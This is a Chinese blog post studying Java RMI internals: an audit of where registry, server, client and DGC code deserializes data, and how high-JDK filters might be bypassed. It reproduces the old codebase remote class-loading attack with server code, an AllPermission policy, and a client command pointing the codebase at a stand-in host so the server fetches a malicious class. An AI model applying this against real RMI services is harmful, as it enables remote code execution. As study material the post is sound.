java-RMI

JAVA - RMI

这个还是理解了挺久的

主要是第一次代码审计 又枯燥又难 审着犯困 效率挺低的

RMI基础

RMI 作为后续漏洞中最为基本的利用手段之一,学习的必要性非常之大

如果只懂利用,就太脚本小子了

定义

java RMI全称为 java Remote Method Invocation(java 远程方法调用),是java编程语言中,一种实现远程过程调用的应用程序编程接口。存储于java.rmi包中,使用其方法调用对象时,必须实现Remote远程接口,能够让某个java虚拟机上的对象调用另外一个Java虚拟机中的对象上的方法。两个虚拟机可以运行在相同计算机上的不同进程,也可以是网络上的不同计算机。两者之间通过网络进行通信。

组成

image-20240520083835683

如上图:

基本分为三层架构模式来实现 RMI

分别为 RMI 服务端,RMI 客户端和 RMI 注册中心。

客户端:(Client 上图右边部分)

存根 / 桩 (Stub): 远程对象在客户端上的代理;
远程引用层 (Remote Reference Layer): 解析并执行远程引用协议;
传输层 (Transport): 发送调用、传递远程方法参数、接收远程方法执行结果。

服务段:(Server 上图中间部分)

骨架 (Skeleton): 读取客户端传递的方法参数,调用服务器方的实际对象方法, 并接收方法执行后的返回值;
远程引用层 (Remote Reference Layer): 处理远程引用后向骨架发送远程方法调用;
传输层 (Transport): 监听客户端的入站连接,接收并转发调用到远程引用层。

其是理论上有客户端有服务段就可以进行远程方法的调用了 但是RMI是通过端口进行调用的 这就出现一个问题:端口只有0到65535这明显是不够用的 不能全来给RMI吧 所以这就出现了RMI的第三部分:注册表

注册表(Registry 上图的左侧部分)

以 URL 形式注册远程对象,并向客户端回复对远程对象的引用

注册中心,是一个 hash 表,用来存储名字和远程对象。

客户端是连接注册中心,获取名字来调用远程对象。

客户端和服务端并不是直接进行交互的,而是利用了代理。服务端的代理叫做 Skeleton,客户端的代理叫做 Stub

用代理的目的是为了把不属于业务的东西提取出来。

客户端->注册表->服务端

通信流程

服务端:

1. 先编写一个远程接口,其中定义了一个 sayHello () 的方法

package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}

此远程接口要求作用域为 public;
继承 Remote 接口;
让其中的接口方法抛出异常

2. 定义该接口的实现类 Impl

package org.example;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj{
public RemoteObjImpl() throws RemoteException{
// UnicastRemoteObject.exportObject(this, 0);
}

@Override
public String sayHello(String keywords) throws RemoteException {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}

实现远程接口

继承 UnicastRemoteObject 类,用于生成 Stub(存根)和 Skeleton(骨架)。 这个在后续的通信原理当中会讲到

构造函数需要抛出一个 RemoteException 错误

实现类中使用的对象必须都可序列化,即都继承 java.io.Serializable

3. 注册远程对象

package org.example;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
// 实例化远程对象
IRemoteObj remoteObj = new RemoteObjImpl();
// 创建注册中心
Registry r = LocateRegistry.createRegistry(1099 );
// 绑定对象示例到注册中心
r.bind("remoteObj",remoteObj);
}
}

port 默认是 1099,不写会自动补上,其他端口必须写

bind 的绑定这里,只要和客户端去查找的 registry 一致即可。

如此,服务端就写好了

⼀个RMI Server分为三部分:

  1. ⼀个继承了 java.rmi.Remote 的接⼝,其中定义我们要远程调⽤的函数,⽐如这⾥的 hello()

  2. ⼀个实现了此接⼝的类

  3. ⼀个主类,⽤来创建Registry,并将上⾯的类实例化后绑定到⼀个地址。这就是我们所谓的Server了。

客户端:

客户端只需从从注册器中获取远程对象,然后调用方法即可。当然客户端还需要一个远程对象的接口,不然不知道获取回来的对象是什么类型的。

虽说执⾏远程⽅法的时候代码是在远程服务器上执⾏的,但实际上我们还是需要知道有哪些⽅法,这时候接⼝的重要性就体现了

所以在客户端这里,也需要定义一个远程对象的接口:

package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}

然后编写客户端的代码,获取远程对象,并调用方法

package org.example;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Main {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

这样就能够从远端的服务端中调用 RemoteHelloWorld 对象的 sayHello() 方法了。

结果:

image-20240520091844396

可以看到这里客户端(右边)没有实现具体的方法内容,但是执行了服务端(左边)的方法体内的代码

其他

其实接口也可以直接继承

我们前⾯要继承 Remote 并将我们需要调⽤的⽅法写在接⼝IRemoteHelloWorld ⾥,因为客户端也需要⽤到这个接⼝

也就是:

服务端:

package org.vulhub.RMI;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;
}
public class RemoteHelloWorld extends UnicastRemoteObject implements
IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
super();
}
public String hello() throws RemoteException {
System.out.println("call from");
return "Hello world";
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}

这里我三合一了 运行的时候要分开

客户端:

package org.vulhub.Train;
import org.vulhub.RMI.RMIServer;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class TrainMain {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
Naming.lookup("rmi://192.168.135.142:1099/Hello");
String ret = hello.hello();
System.out.println( ret);
}
}

客户端就简单多了,使⽤ Naming.lookup 在Registry中寻找到名字是Hello的对象,后⾯的使⽤就和在本地使⽤⼀样了。

这里我们可以wireshark抓包看下

image-20240520092218051

如上图

这就是完整的通信过程,我们可以发现,整个过程进⾏了两次TCP握⼿,也就是我们实际建⽴了两次TCP连接

第⼀次建⽴TCP连接是连接远端 192.168.135.142 的1099端⼝,这也是我们在代码⾥看到的端⼝,⼆者进⾏沟通后,我向远端发送了⼀个“Call”消息,远端回复了⼀个“ReturnData”消息,然后我新建了⼀个TCP连接,连到远端的33769端⼝

那为什么要连接33769端口呢:

细细阅读数据包我们会发现,在“ReturnData”这个包中,返回了⽬标的IP地址 192.168.135.142 ,其后跟的⼀个字节 \x00\x00\x83\xE9 ,刚好就是整数 33769 的⽹络序列:

如下:

0030 .. .. .. .. .. .. .. ac ed 00 05 77 0f 01 18 35 ……Q….w…5

0040 cf d9 00 00 01 6c 39 4f ec 84 80 08 73 7d 00 00 …..l9O….s}..

0050 00 02 00 0f 6a 61 76 61 2e 72 6d 69 2e 52 65 6d ….java.rmi.Rem

0060 6f 74 65 00 2a 6f 72 67 2e 76 75 6c 68 75 62 2e ote.*org.vulhub.

0070 52 4d 49 2e 52 4d 49 53 65 72 76 65 72 24 49 52 RMI.RMIServer$IR

0080 65 6d 6f 74 65 48 65 6c 6c 6f 57 6f 72 6c 64 70 emoteHelloWorldp

0090 78 72 00 17 6a 61 76 61 2e 6c 61 6e 67 2e 72 65 xr..java.lang.re

00a0 66 6c 65 63 74 2e 50 72 6f 78 79 e1 27 da 20 cc flect.Proxy.’. .

00b0 10 43 cb 02 00 01 4c 00 01 68 74 00 25 4c 6a 61 .C….L..ht.%Lja

00c0 76 61 2f 6c 61 6e 67 2f 72 65 66 6c 65 63 74 2f va/lang/reflect/

00d0 49 6e 76 6f 63 61 74 69 6f 6e 48 61 6e 64 6c 65 InvocationHandle

00e0 72 3b 70 78 70 73 72 00 2d 6a 61 76 61 2e 72 6d r;pxpsr.-java.rm

00f0 69 2e 73 65 72 76 65 72 2e 52 65 6d 6f 74 65 4f i.server.RemoteO

0100 62 6a 65 63 74 49 6e 76 6f 63 61 74 69 6f 6e 48 bjectInvocationH

0110 61 6e 64 6c 65 72 00 00 00 00 00 00 00 02 02 00 andler……….

0120 00 70 78 72 00 1c 6a 61 76 61 2e 72 6d 69 2e 73 .pxr..java.rmi.s

0130 65 72 76 65 72 2e 52 65 6d 6f 74 65 4f 62 6a 65 erver.RemoteObje

0140 63 74 d3 61 b4 91 0c 61 33 1e 03 00 00 70 78 70 ct.a…a3….pxp

0150 77 38 00 0a 55 6e 69 63 61 73 74 52 65 66 00 0f w8..UnicastRef..

0160 31 39 32 2e 31 36 38 2e 31 33 35 2e 31 34 32 00 192.168.135.142.

0170 00 83 e9 1b 78 c2 0b 23 a0 69 c0 18 35 cf d9 00 ….x..#.i..5…

0180 00 01 6c 39 4f ec 84 80 01 01 78 ..l9O…..x

其实这段数据流中从 \xAC\xED 开始往后就是Java序列化数据了,IP和端⼝只是这个对象的⼀部分罢了

所以rmi的利用也就是通过反序列化进行利用

所以捋⼀捋这整个过程,⾸先客户端连接Registry,并在其中寻找Name是Hello的对象,这个对应数据流中的Call消息;然后Registry返回⼀个序列化的数据,这个就是找到的Name=Hello的对象,这个对应数据流中的ReturnData消息;客户端反序列化该对象,发现该对象是⼀个远程对象,地址在192.168.135.142:33769 ,于是再与这个地址建⽴TCP连接;在这个新的连接中,才执⾏真正远程⽅法调⽤,也就是 hello()

RMI Registry就像⼀个⽹关,他⾃⼰是不会执⾏远程⽅法的,但RMI Server可以在上⾯注册⼀个Name到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMIServer;最后,远程⽅法实际上在RMI Server上调⽤。

但是为什么示例代码只有两个部分呢?

原因是,通常我们在新建一个RMI Registry的时候,都会直接绑定一个对象在上面,也就是说我们示例代码中的Server其实包含了Registry和Server两部分:

LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/Hello", new RemoteHelloWorld());

第一行创建并运行RMI Registry,第二行将RemoteHelloWorld对象绑定到Hello这个名字上。

Naming.bind 的第一个参数是一个URL,形如: rmi://host:port/name 。其中,host和port就是RMI Registry的地址和端口,name是远程对象的名字。

如果RMI Registry在本地运行,那么host和port是可以省略的,此时host默认是 localhost ,port默认是 1099 :

Naming.bind("Hello", new RemoteHelloWorld());

RMI-代码审计

首先 RMI 有三部分:

  • RMI Registry
  • RMI Server
  • RMI Client

如果两两通信就是 3+2+1 = 6 个交互流程,还有三个创建的过程,一共是九个过程。

产生漏洞的地方肯定是在交互过程中发生的,但是出问题的是在哪部分呢?为了寻找问题到底是出在哪部分,我们从服务端的创建开始逐个分析。

服务端的创建流程

package org.example;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
IRemoteObj remoteObj = new RemoteObjImpl();
}
}

开始分析创建远程对象的这个流程,因为这个流程是把服务发布到网上,我们一步一步来看它是如何发布的。
在图示地方下断点:

image-20240524093040930

下一步走到构造函数:

image-20240524093102686

再下一步走到 UnicastRemoteObject 的构造函数:

image-20240524093126185

image-20240524093144220

同时注意到此时的 port 是 0,这里的 0 就是代表默认值(如果传入 0 的话,会开启一个随机端口)。因为这里是把服务发布到网络上(如果对端口有疑惑为什么不是 1099 的要注意区分注册中心和服务端口的区别),所以不可能每种服务固定一个端口,这样子一旦服务过多端口会不够用的。

下一步我们跟到调用 exportObject(导出对象)这个地方:

image-20240524093230656

根据英文意思这里就是发布对象的感觉,这是一个静态函数,而且也是关键语句。因此我们在 RemoteObjImpl 这个类中也可以不继承 UnicastRemoteObject 这个类,直接在构造函数中调用这个静态方法也可以。

这个 obj 是我们要实现的真正逻辑,后面的 new UnicastServerRef 是用于处理网络请求的,可以注意到这里只传了 port 进去,因此 ip 是他可以自动获取到的。

下一步:

image-20240524093247800

可以看见新建了一个类 LiveRef,我们跟进

image-20240524093309872

传进去的是一个 ID 和一个 port,ID 就是理解成给个编号吧,port 就是之前的默认 0 端口
然后我们 ID 就不看了,直接跟进他的构造函数:

image-20240524093324263

然后可以看到

第一个参数是 ID
第二个参数是 TCPEndpointD 的一个静态函数
第三个参数 true

我们这里只看第二个参数。这里没有必要继续 debug 跟进,直接 debug 停在这里,然后 Ctrl + 鼠标左键 点击进入即可

image-20240524093342633

image-20240524093358610

可以看到他的里面是返回类型为 TCPEndpoint 的一个东西,再看一下 TCPEndpoint 的构造函数:

image-20240524093419601

发现这里他要接受两个参数,host 和 port。可以感受到这个东西就是一个处理网络请求的东西

然后我们返回到 debug 的地方。

image-20240524093433656

这里调用了另一个 LiveRef 构造函数。我们再看一下 LiveRef 的构造函数:

image-20240524093451298

接收三个参数,ID,Endpoint,isLocal
其他都好理解,主要就是这个 Endpoint 是什么,我们看一下它里面有什么东西:

image-20240524093507103

发现这里 host 已经被获取了
但是 port 还是 0,port 如何获取我们后面在分析

LiveRef 的创建到这里就完成了,我们需要记住 LiveRef 的 ID,并且我们从头到尾只创建了这一个 LiveRef

再往下走,这里也只进行了赋值:

image-20240524093526936

继续往下走:

image-20240524093542776

image-20240524093602957

这里的 UnicastServRef 就是刚才赋值的的那个东西,只不过包装了而已,而且这也进行了赋值
然后继续往下走到 sref.exportObject,继续对 sref “exportObject”

image-20240524093622152

但是我们发现这里创建了代理 stub

stub 明明是客户端的代理,为什么要在服务端创建

因为需要现在服务端创建完这个代理放在注册中心,客户端再到注册中心去使用这个 stub 进行操作

我们往下看一下这个 stub 是怎么创建的
第一步是创建一个远程对象类:

Class<?> remoteClass;

try {
remoteClass = getRemoteClass(implClass);
} catch (ClassNotFoundException ex ) {
throw new StubNotFoundException(
"object does not implement a remote interface: " +
implClass.getName());
}

第二步是判断:

if (forceStubUse ||!(ignoreStubClasses || !stubClassExists(remoteClass)))

forceStubUse 表示当不存在时是否抛出异常
是否存在以 _Stub 结尾的类。remoteClass + "_Stub"

stubClassExists 的具体逻辑是这样的:

private static boolean stubClassExists(Class<?> remoteClass) {
if (!withoutStubs.containsKey(remoteClass)) {
try {
Class.forName(remoteClass.getName() + "_Stub",
false,
remoteClass.getClassLoader());
return true;

} catch (ClassNotFoundException cnfe) {
withoutStubs.put(remoteClass, null);
}
}
return false;
}

第三步就是创建动态代理了:

try {
return AccessController.doPrivileged(new PrivilegedAction<Remote>() {
public Remote run() {
return (Remote) Proxy.newProxyInstance(loader,
interfaces,
handler);
}});
} catch (IllegalArgumentException e) {
throw new StubNotFoundException("unable to create proxy", e);
}

创建完 stub,就是收尾工作,这里创建了一个 Target

image-20240524093644044

image-20240524093701235

这里可以看到 LiveRef 的 id 是一样的,ObjectID 也都是一样的,说明用的都是同一个 LiveRef。

创建完 Target 就进行发布

image-20240524093719752

就是对这个 target 进行发布

image-20240524093736379

image-20240524093755406

image-20240524093812570

我们跟进到 listen 里面:

image-20240524093837670

server = ep.newServerSocket();

这个部分获取了随机的端口号

image-20240524093858197

可以发现这里创建了一个 Socket 等待别人连接,并且使用了 t.start () 创建一个新的线程。

此时已经成功把服务发布到网络上面了,但是客户端并不知道,注册中心也不知道,所以他自己需要先记录一下这个发布的服务

image-20240524093920972

image-20240524093939909

发现这里是用 Map 来记录的,并且把刚才创建的 target 当作值。同时这里还是一个静态表

从思路来说是不难的,也就是发布远程对象,用 exportObject() 指定到发布的 IP 与端口,端口的话是一个随机值。至始至终复杂的地方其实都是在赋值,创建类,进行各种各样的封装,实际上并不复杂。

还有一个过程就是发布完成之后的记录,理解的话,类似于日志就可以了,这些记录是保存到静态的 HashMap 当中。

这一块是服务端自己创建远程服务的这么一个操作,所以这一块是不存在漏洞的

注册中心的创建流程

注册中心的创建和远程服务的发布其实是没有关系的,他们之间并不在乎谁先谁后。因为发布远程服务和注册中心的创建他们本质上都是一样的,都是把某个服务发布到某个端口上,只不过注册中心通常是固定在 1099 端口,而服务则是随机发布到某一个端口上。

Registry registry= LocateRegistry.createRegistry(1099); 处下断点,我们开始调试代码。

image-20240524093955695

首先是进入了静态方法 createRegisty,并且传入了 port1099.
然后这里 new 了一个 RegistryImpl,我们就顺势走到 RegistryImpl 的构造方法:

image-20240524094011234

if 里面主要是做一些检查,不重要。

重点看下面的 new 一个 LiveRef,然后又 new 了一个 UnicastServRef,并且把 LiveRef 放在里面,之后调用了 setup。

这里其实和前面服务端的创建时一样的流程。只是这里调用了 setup 方法,直接进去看一下。

image-20240524094033309

创建注册中心的流程,前三步是不是都和发布远程对象一样的步骤,接下来其实也是调用了 UnicastServerRef.exportObject 了。这样看来,其实发布远程对象和创建注册中心本质上就是一样的了,他们都执行了一样的步骤。
唯一的区别就是调用时第三个参数 permanent 不一样,其实就是代表一个是永久,而另一个是非永久罢了。

image-20240524094048100

接下来我们继续跟进到 exportObject 函数里面

image-20240524094113241

到目前为止和我们之前调试发布远程对象都一样,但是我们跟进到 createProxy 里面就开始有区别了

image-20240524094128076

因为这里会执行一个 stubClassExists,这个函数的代码逻辑如下:

private static boolean stubClassExists(Class<?> remoteClass) {
if (!withoutStubs.containsKey(remoteClass)) {
try {
Class.forName(remoteClass.getName() + "_Stub",
false,
remoteClass.getClassLoader());
return true;

} catch (ClassNotFoundException cnfe) {
withoutStubs.put(remoteClass, null);
}
}
return false;
}
//功能就是判断JDK中是否有以xxx_Stub的类,有的话就加载

image-20240524094145404

于是就会进入这个类中把他加载出来,具体的加载逻辑是这样的

image-20240524094159866

这里利用反射 forName 获取类名,然后利用构造器进行实例化加载这个类

这里和服务端的区别就是:服务端是利用动态代理创建出来的,而注册中心是利用JDK自由的类反射创建出来的

接着往下走

image-20240524094215278

这一步就是判断 stub 是否是服务端定义好的

因为这里的 stub 确实是服务端已经定义好的,于是我们跟进到 setSkeleton 里面:

image-20240524094232532

再跟到 createSkeleton

image-20240524094305522

发现这里和上面创建 stub 一样也是直接利用反射获取 JDK 的类名来实例化这个类
出来之后就是创建 target,然后发布到网络上,和发布远程对象一样的。

下一步一样的,封装 target。

image-20240524094321444

可以看到这里还是同一个 LiveRef。

image-20240524094340627

DGC(分布式垃圾回收)

image-20240524094356857

可以注意到远程服务的 stub 类型是动态代理创建的类型为 $Proxy0

注册绑定

这个 checkAccess 就是判断是否本地绑定

image-20240524094436152

然后上面那个判断就是判断这个 name 是否绑定过,没绑定过就 put 呗
这个 bingdings 本质上就是一个 HashTable,然后把远程对象绑定进去

客户端请求注册中心和服务端

客户端需要做两件事:

1、向注册中心获取远程对象的代理

IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");

2、通过这个代理向服务端做远程调用

System.out.println(remoteObj.sayHello("hello"));

获取远程对象的代理

image-20240524094453917

我们可以发现他的流程和服务端的一样:

image-20240524094511812

都是重新 createProxy,然后利用 forName 来加载类

执行完后我们可以看到:

image-20240524094531134

这里就是获取注册中心的 stub 对象,下一步就是通过名字来获取远程对象

我们往下看 lookup

这里因为 RegistryImpl_Stub.classjava 1.1 编译的。但是我们的环境是 java 1.8 所以,这里在进行反编译的时候,就会因为反编译的时候,行号会乱。而且无法进行 debug

直接看静态代码。

image-20240524094606088

下面那个 newCall 就是创建一个连接

然后有一个 writeObject (var1), 这个 var1 就是我们传进来的字符串。我们发现了他被序列化了,到时候注册中心就会反序列化读取他

再往下就是重点 invoke 方法

image-20240524094623214

invoke 方法会调用 executeCall() 方法
executeCall() 方法中的捕获异常中有一个 readObject

image-20240524094637515

在这里如果服务端是一个恶意的类被服务端加载的话,就可以达到攻击客户端的目的

执行完 invoke 下面还有一个攻击客户端的利用点:

image-20240524094652850

因为这里客户端获取服务端的远程对象的过程是通过反序列化读取他的,那么如果服务端是恶意的反序列反参数就可以攻击客户端

但是这两个反序列的攻击点还是 invoke 进去的 executeCall () 这里更加隐蔽,更加常用到。因为很多函数都会调用 invoke 方法。如 bind (),list ()

总结

客户端请求注册中心的时候,有两个反序列化的点:executeCall()lookup 里面的 readObject

向服务端做远程调用

我们从 remoteObj.sayHello 开始调试
发现我们调试第一步就直接进入了 invoke

image-20240524094707111

因为这里 remoteObj 是一个动态代理,所以调用方法的时候就会直接进入 invoke。

image-20240524094722420

我们从 invokeRemoteMethod 进入
然后跟进 invoke:

image-20240524094737588

之后的走到 marshalValue 函数,这个函数就是判断是否是基本类型,不是的话就序列化

image-20240524094758471

image-20240524094814823

再往下,发现执行了 call.executeCall()

image-20240524094832683

其实不管是用户自定义的 stub 还是系统定义的 stub 都会调用这个方法,**executeCall() 是处理网络请求的东西东西,这里也有可能被攻击。**

再往下走,如果调用的远程函数有返回值的话会执行 unmarshalValue,并且获取远程返回值是利用反序列化读出来的

image-20240524094848439

总结

客户端请求服务端的时候,有两个反序列化的点:executeCall() 和最后读取返回值。

executeCall() 处理走的是 JRMP 协议,所以通过 JRMP 进行攻击就是通过 RMI 自定义的客户端协议进行攻击,攻击的是 stub。

可以是客户端攻击服务端,也可以是服务端攻击客户端。

注册中心回应客户端

我们之前有说客户端在 IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj"); 的时候,需要把 remoteObj 序列化发给注册中心。然后注册中心再反序列化。

image-20240524094904589

我们再传入 remoteObj 的时候是 lookup,所以这里也是通过 switch 找到 lookup,这里其实只要有 readObject 的都可能会被反序列化攻击

服务端回应客户端

我们之前有说客户端在 System.out.println(remoteObj.sayHello("hello")); 的时候,需要把 hello 序列化发给服务端。然后服务端再反序列化。

image-20240524094919374

DGC

DGC 会在创建远程服务的时候就自动创建 DGC 服务,我们来关注 DGC 服务是在何时、何处产生的。

我们定位到:putTarget(), 这个函数就是在众多七七八八的都创建完之后执行的,把一些东西放在静态表里面,我们可以注意到在 putTarget() 中,有一个 DGCImpl.dgcLog.isLoggable

image-20240524094946598

DGC 服务就是在这里创建的,这里是调用了 DGCImpl 类的静态函数,在类的动态加载中我们提到只要调用了类的静态函数就对这个类进行了初始化,因此会执行类的 static 静态代码块

image-20240524095001306

在 DGCImpl 的静态代码块里面的 try 里执行了 new DGCImpl(), 再往下看一下 stub 是怎么创建的,其实原理和我们之前分析服务端的 skel 和客户端的 stub 一样,看一下 JDK 是否有 DGCImpl_Stub 这个类,有则反射创建。

DGCImpl_Stub 类中有两个方法,cleandirty。这两个函数都有我们之前说过比较危险的地方:**readObjectinvoke**

image-20240524095017821

image-20240524095032373

因此存在被攻击的风险。
DGCImpl_Skel 也是同理,也存在危险的地方

image-20240524095048037

RMI 攻击利用

低版本jdk

上面我们审计的是8u65的版本 实际上相对很老

攻击面也如上 哪儿哪儿都可以进行攻击

具体怎么攻击我还没有找到相应的学习资料 等学完反序列化这部分应该对怎么利用更清楚一点 好像是会用到cc链来

这里我讲讲一个更低版本的利用:

简单利用

先阐述一些简单的利用吧 但这个利用没有什么价值:

首先,RMI Registry是一个远程对象管理的地方,可以理解为一个远程对象的“后台”。我们可以尝试直

接访问“后台”功能,比如修改远程服务器上Hello对应的对象:

RemoteHelloWorld h = new RemoteHelloWorld();
Naming.rebind("rmi://192.168.135.142:1099/Hello", h);

却爆出了这样的错误:

image-20240520161350985

原来Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebind、bind、unbind等方法。

不过list和lookup方法可以远程调用。

list方法可以列出目标上所有绑定的对象:

String[] s = Naming.list("rmi://192.168.135.142:1099");

lookup作用就是获得某个远程对象。

那么,只要目标服务器上存在一些危险方法,我们通过RMI就可以对其进行调用,之前曾经有一个工具,其中一个功能就是进行危险方法的探测。

怎么说呢 这个利用嗯。。。

更低版本的利用

曾经有段时间,Java是可以运行在浏览器中的,对,就是Applet这个奇葩。在使用Applet的时候通常需要指定一个codebase属性,比如:

<applet code="HelloWorld.class" codebase="Applets" width="800" height="600">
</applet>

除了Applet,RMI中也存在远程加载的场景,也会涉及到codebase。

codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。

如果我们指定 codebase=http://example.com/ ,然后加载 org.vulhub.example.Example 类,则Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class ,并作为Example类的字节码。

RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase中的类。

这个时候问题就来了,如果codebase被控制,我们不就可以加载恶意类了吗?

对,在RMI中,我们是可以将codebase随着序列化数据一起传输的,服务器在接收到这个数据后就会去CLASSPATH和指定的codebase寻找类,由于codebase被控制导致任意命令执行漏洞。

不过显然官方也注意到了这一个安全隐患,所以只有满足如下条件的RMI服务器才能被攻击:

  • 安装并配置了SecurityManager

  • Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false

其中 java.rmi.server.useCodebaseOnly 是在Java 7u21、6u45的时候修改的一个默认设置:

https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html

https://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html

官方将 java.rmi.server.useCodebaseOnly 的默认值由 false 改为了 true 。在

java.rmi.server.useCodebaseOnly 配置为 true 的情况下,Java虚拟机将只信任预先配置好的

codebase ,不再支持从RMI请求中获取。

我们来编写一个简单的RMIServer用于复现这个漏洞。建立4个文件:

// ICalc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
public Integer sum(List<Integer> params) throws RemoteException;
}

// Calc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;
public class Calc extends UnicastRemoteObject implements ICalc {
public Calc() throws RemoteException {}
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = 0;
for (Integer param : params) {
sum += param;
}
return sum;
}
}

// RemoteRMIServer.java
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;
public class RemoteRMIServer {
private void start() throws Exception {
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}
Calc h = new Calc();
LocateRegistry.createRegistry(1099);
Naming.rebind("refObj", h);
}
public static void main(String[] args) throws Exception {
new RemoteRMIServer().start();
}
}

// client.policy
grant {
permission java.security.AllPermission;
};

同样 这里我也是n合一了

编译运行:

javac *.java
java -Djava.rmi.server.hostname=192.168.135.142 - Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy
RemoteRMIServer

其中, java.rmi.server.hostname 是服务器的IP地址,远程调用时需要根据这个值来访问RMI-Server。

然后,我们再建立一个RMIClient.java:

import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;
import java.io.Serializable;
public class RMIClient implements Serializable {
public class Payload extends ArrayList<Integer> {}
public void lookup() throws Exception {
ICalc r = (ICalc)
Naming.lookup("rmi://192.168.135.142:1099/refObj");
List<Integer> li = new Payload();
li.add(3);
li.add(4);
System.out.println(r.sum(li));
}
public static void main(String[] args) throws Exception {
new RMIClient().lookup();
}
}

这个Client我们需要在另一个位置运行,因为我们需要让RMI Server在本地CLASSPATH里找不到类,才会去加载codebase中的类,所以不能将RMIClient.java放在RMI Server所在的目录中。

运行RMIClient:

java -Djava.rmi.server.useCodebaseOnly=false -
Djava.rmi.server.codebase=http://example.com/ RMIClient

image-20240520162730395

查看example.com的日志,可见收到了来自Java的请求 /RMIClient$Payload.class 。因为我们还没有实际放置这个类文件,所以上面出现了异常:

image-20240520162813421

我们只需要编译一个恶意类,将其class文件放置在Web服务器的 /RMIClient$Payload.class 即可

这种利用条间比较苛刻

高版本jdk绕过利用

前面低版本jdk主要利用在注册中心和DGC

高版本(8u121以上)当然重点对这两个包里的类进行了处理:

Registylmp.java:

具体怎么实现的这里简单说下

image-20240520163547140

这里加了一个函数

image-20240520163437984

这里多加了一个判断:

这个输入流如果是这几个类 才能反序列化

DGClmp.java:

更上面这个差不多 甚至更严重一些:

image-20240520163819166

这里有一个checkInput函数

同样也有if:

image-20240520163932821

也是只有这几个类才能反序列化

远程对象直接反序列化

之前不是还用远程对象之间反序列化吗

在高版本下:

这个流程太复杂了 没分析明白

是必须知道具体参数类型才行(String object这种)

限制很大

因为:

远程对象直接反序列化: 限制态度 难以利用

DGC: DGC的几个类都是些没有什么功能的类 难以利用

故:

我们只能从注册中心下手(这也是为什么一般都打注册中心的原因)

image-20240520164609148

看来看去其实也就两个类可以利用:

  • java.lang.reflect.Proxy.class
  • UnicastRef.class

其他都没什么用

UnicastRef.class

先说下这个吧 前面我们审过

这个也是最常用的

我们前面分析的时候提到过:

有一个invoke方法

也就是那个**jrmp的一个攻击 ** 所有rmi客户端都会收到攻击

但是他的高版本只修复服务端的攻击 对客户端的攻击并没有修复

image-20240520165549449

所以接下来我们的思路就是想办法让服务端来发起一个客户端请求 这样就会在服务端引起一个反序列化的攻击

invoke是怎么被调用的呢

不就是那几个stub吗

  • RegistyImpl_Stub
  • DGCImpl_Stub

还有一个动态代理 但这个只有在生成创建服务端时才会调用

怎么创建Stub呢

是通过一个函数:createProxy

那这个函数在哪里可以调用呢:

注册中心:

  • LocateRegistry->getRegistry中调用
  • ActivatableRef->getStub中调用
  • UnicastSeverRef->exportObject中导出时调用

注册中心的都没什么用 调用不了

DGC:

  • DGCImpl静态代码块中调用(没办法干涉)

  • DGCClient.EndpointEntry->EndpointEntry

    image-20240520171348038

这个才是我们能调用的

在构造函数创建了一个DGC服务

